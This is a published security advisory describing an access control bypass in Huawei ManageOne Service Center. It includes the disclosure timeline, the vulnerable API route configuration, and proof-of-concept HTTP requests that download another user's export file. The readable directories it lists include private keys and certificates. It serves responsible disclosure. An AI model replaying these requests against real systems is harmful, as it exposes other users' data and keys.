SYNACKTIV
DIGITAL SECURITY

Huawei *ManageOne Service Center* <= 3.0.9 file access control bypass

Security advisory

2019-10-03

Julien Legras
Sébastien Dudek

Vulnerability description

Presentation of *Huawei ManageOne Service Center*

Huawei *FusionCloud* is a full-stack private cloud solution based on *OpenStack*. This solution is composed of multiple components, including *ManageOne* services:

- *ManageOne Service Center*: responsible for service provisioning
- *ManageOne Operation Center*: responsible for maintenance and monitoring

The issue

The *ManageOne Service Center* allows exporting various data to CSV or ZIP files. Synacktiv discovered an API route that does not perform any access control on the requested files. This allows any authenticated user to read almost any files located in */opt/goku/data/*.

The following extensions are readable in the associated directories:

- .xls in */opt/goku/data/report/realtime/*
- .xls in */opt/goku/data/report/oplog/*
- .xls in */opt/goku/data/report/org/*
- .xls in */opt/goku/data/report/vdc/*
- .xls in */opt/goku/data/report/user/*
- .xls in */opt/goku/data/report/monitor/*
- .xls in */opt/goku/data/report/export/*
- .xls in */opt/goku/data/report/meter/*
- .zip in */opt/goku/data/report/*
- .xls in */opt/goku/data/report/custom/*
- .tar in */opt/goku/data/report/fimkeytab/*
- .xls and .xlsm in */opt/goku/data/uhm/phyDevice/*
- .xml in */opt/goku/data /uhm/firewall/*
- .xls and .gz in */opt/goku/data/ame/temp/*
- .tar.gz in */opt/goku/data/ame/export/appTemplate/*
- .raw, .qcow2, .ami, .aki, .ari, .uec, .vmdk, .vdi, .vhd, .vhdx, .ovf, .iso, .img in */opt/goku/data/ame/export/image/*
- .zip in */opt/goku/data/swm/deviceArchive/*
- .pem in */opt/goku/data/report/keypair/*
- .pem, .cer, .crt, .key in */opt/goku/data/iam/cerdata/*

Affected versions

According to Huawei, update to FusionCloud 6.3.1 fixes the issue. As this release is only available to customers, Synacktiv could not validate the fix.

Workaround

Remove the affected API route and only use the *taskId* to retrieve files. This way, the server can extract the associated file name and user ID, allowing efficient access control.

Timeline

Date	Action
2018-10-19	Vulnerability identified.
2018-11-14	Advisory writing.
2018-11-14	Advisory sent to junsong.wang@huawei.com and liaowenrui@huawei.com.
2018-11-21	First response, asking for more details.
2018-11-28	Huawei reproduced the issue.
2019-01-15	Huawei claims FusionCloud 6.3.1 already fixes the issue (released on 30th of September 2018).
2019-10-03	Advisory publication.

Technical description and proof-of-concept

Initial vulnerability discovery

During a security assessment for one of Synacktiv customers, consultants were provided access to the *ManageOne Service Center* interface and studied the export feature which allows creating CSV files or ZIP files of various data.

The action is performed using an HTTP POST request. The following request performs an export of the virtual machines list:

```
POST /goku/rest/v1.5/64faa607ed4c4e9990f3f28973b31745/vms/file?cloud-
infra=<redacted>&locale=en_US&verify-code=<redacted>&rand=1539877338501 HTTP/1.1
Host: <redacted>
X-HW-Cloud-Auth-Token: d2<redacted>A7
X-Auth-User-ID: 9e311e979ff848998ff08372689fe187
X-Requested-With: XMLHttpRequest
Content-Length: 48
Cookie: locale=en_US; language=en_US; JSESSIONID=<redacted>
Connection: close

{"ids":["316d1c7e-f860-48ba-8039-bb840f728e45"]}


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Oct 2018 15:40:13 GMT
...
{"exportFilePath":"--report--export--VM_2018-10-18_16-40-
12_71A2E41BE9AE1C3DEE0092F6C24CD663_EN.xls","nextMarker":null}
```

The server returns a file path with “/” replaced by “--”.

Users can retrieve the export file using the following URL:

```
https://<redacted>/goku/rest/v1.5/64faa607ed4c4e9990f3f28973b31745/tasks/file/--report--
export--VM_2018-10-18_16-40-12_71A2E41BE9AE1C3DEE0092F6C24CD663_EN.xls?
type=export&taskId=<redacted>&t=0.3915441807711393&verify-
code=<redacted>&rand=1539877384524
```

The first token in the URL is the VDC identifier. This is used to restrict access of exported files to members of the VDC.

This route is declared in */opt/goku/services/portal/webtenant/ROOT/WEB-INF/classes/rest_api_framework.xml*:

```
<?xml version="1.0" encoding="UTF-8"?>

<apis>
	<!--
	component 标签的取值范围：
	uportal
	csm
	orchestrator
	ardata
	arcontrol
	fault
	monitoragent
	connector -->

	<api>
		<uri>/file/{name}</uri>
		<versions>v1.5</versions>
		<isAuth>false</isAuth>
		<privileges>
			<privilege>
```

```
                        <method>GET</method>
                        <privilegeid>14</privilegeid>
                  </privilege>
            </privileges>

      <resource>com.huawei.goku.framework.uportal.services.rest.file.DownloadFileResource</
resource>
      </api>

      <api>
            <uri>/{vdc_id}/file/{name}/check</uri>
            <versions>v1.5</versions>
            <isAuth>true</isAuth>
            <privileges>
                  <privilege>
                        <method>GET</method>
                        <privilegeid>14</privilegeid>
                  </privilege>
            </privileges>


<resource>com.huawei.goku.framework.uportal.services.rest.file.DownloadFileCheckResource</
resource>
      </api>
      <api>
            <uri>/{vdc_id}/tasks/file/{name}</uri>
            <versions>v1.5</versions>
            <isAuth>true</isAuth>
            <privileges>
                  <privilege>
                        <method>GET</method>
                        <privilegeid>14</privilegeid>
                  </privilege>
            </privileges>


<resource>com.huawei.goku.framework.uportal.services.rest.taskcenter.TaskCenterFileResource
</resource>
      </api>
</apis>
```

The code of *com.huawei.goku.framework.uportal.services.rest.taskcenter.TaskCenterFileResource* performs checks to prevent access from other users to files. More specifically, it extracts the filename and the user ID from the *taskId* GET parameter, then checks them against the current user and requested file name.

However, other routes are declared in the API. The route */file/{name}* directly uses the class *com.huawei.goku.framework.uportal.services.rest.file.DownloadFileResource*:

```
       <api>
            <uri>/file/{name}</uri>
            <versions>v1.5</versions>
            <isAuth>false</isAuth>
            <privileges>
                  <privilege>
                        <method>GET</method>
                        <privilegeid>14</privilegeid>
                  </privilege>
            </privileges>

      <resource>com.huawei.goku.framework.uportal.services.rest.file.DownloadFileResource</
resource>
```

```
      </api>
```

Looking at the code of this class, no access check is performed on the requested file. However, it is not possible to use this vector to read any file on the system.

Indeed, the code protects against path traversal by checking the canonical path of the requested file:

```
final File f = new File(path);
if (!StringUtils.equals(path, f.getCanonicalPath())) {
    DownloadFile.LOGGER.error((Object)"download name is INVALID!");
    return null;
}
resource = new FileInputStream(f);
```

And the class *com.huawei.goku.framework.uportal.services.rest.file.DownloadFile* restricts access to the following extensions in specific directories:

- .xls in */report/realtime/*
- .xls in */report/oplog/*
- .xls in */report/org/*
- .xls in */report/vdc/*
- .xls in */report/user/*
- .xls in */report/monitor/*
- .xls in */report/export/*
- .xls in */report/meter/*
- .zip in */report/*
- .xls in */report/custom/*
- .tar in */report/fimkeytab/*
- .xls and .xlsm in */uhm/phyDevice/*
- .xml in */uhm/firewall/*
- .xls and .gz in */ame/temp/*
- .tar.gz in */ame/export/appTemplate/*
- .raw, .qcow2, .ami, .aki, .ari, .uec, .vmdk, .vdi, .vhd, .vhdx, .ovf, .iso, .img in */ame/export/image/*
- .zip in */swm/deviceArchive/*
- .pem in */report/keypair/*
- .pem, .cer, .crt, .key in */iam/cerdata/*

So, using the route */file/{name}*, it is possible to access files in these directories from another user. For instance, the previous file can be downloaded using another user:

```
GET /goku/rest/v1.5/file/--report--export--VM_2018-10-18_16-40-
12_71A2E41BE9AE1C3DEE0092F6C24CD663_EN.xls?type=export HTTP/1.1
Host: <redacted>
X-Language: en-us
X-HW-Cloud-Auth-Token: d2<redacted>k7
X-Auth-User-ID: 29c95525ef864c81b13c64715b4da3ac
Connection: close
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Oct 2018 15:42:22 GMT
```

```
Content-Type: application/octet-stream;charset=UTF-8
Content-Disposition: attachment; filename=--report--export--VM_2018-10-18_16-40-
12_71A2E41BE9AE1C3DEE0092F6C24CD663_EN.xls
Content-Length: 4608
```

It should be noted that the filename is required and is hardly guessable. However, if a malicious user manages to retrieve the name of sensitive files belonging to another user, he or she may be able to access them without restriction.

Also, this vulnerability can only be exploited with an authenticated user.